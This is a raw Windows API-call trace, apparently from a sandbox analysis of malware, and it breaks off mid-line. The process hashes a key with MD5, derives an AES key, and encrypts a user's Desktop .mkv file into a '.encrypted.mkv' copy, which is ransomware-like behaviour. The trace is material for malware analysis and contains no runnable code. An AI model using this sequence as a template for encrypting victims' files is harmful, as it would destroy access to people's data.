[0022.050] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0022.050] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.050] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.050] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.051] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.051] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.051] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.051] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.051] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.051] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.052] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.052] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418b090, dwDataLen=0x20, dwFlags=0x1) returned 1 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.052] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.052] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.052] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.052] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062800) returned 1 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.052] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.052] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0022.053] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.053] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0022.053] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.054] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.mkv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\2u 4q.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0022.054] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0022.054] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0022.054] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.055] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.055] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\" (normalized: "c:\\users\\5jghkoaofdp\\desktop")) returned 0x11 [0022.055] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\2U 4q.encrypted.mkv" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\2u 4q.encrypted.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0022.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.074] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.075] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0022.075] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xbbe8, lpOverlapped=0x0) returned 1 [0022.076] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0022.078] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.078] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.078] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0022.078] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0022.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.079] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.079] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0022.079] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.079] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.080] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0022.080] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.080] CryptGetKeyParam (in: hKey=0xe8f4062800, dwParam=0x7, pbData=0xe8f4064cc0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064cc0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.080] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.081] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.081] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.081] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.081] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.081] CryptEncrypt (in: hKey=0xe8f4062800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xbbe8, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xbbf0) returned 1 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.081] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.082] CharLowerBuffW (in: lpsz="byte[48113]", cchLength=0xb | out: lpsz="byte[48113]") returned 0xb [0022.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.082] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0022.082] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0022.082] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0022.082] CryptEncrypt (in: hKey=0xe8f4062800, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41e3da0*, pdwDataLen=0xe8f3dfdf68*=0xbbe8, dwBufLen=0xbbf0 | out: pbData=0xe8f41e3da0*, pdwDataLen=0xe8f3dfdf68*=0xbbf0) returned 1 [0022.082] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.083] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0022.083] PeekMessageW (in: 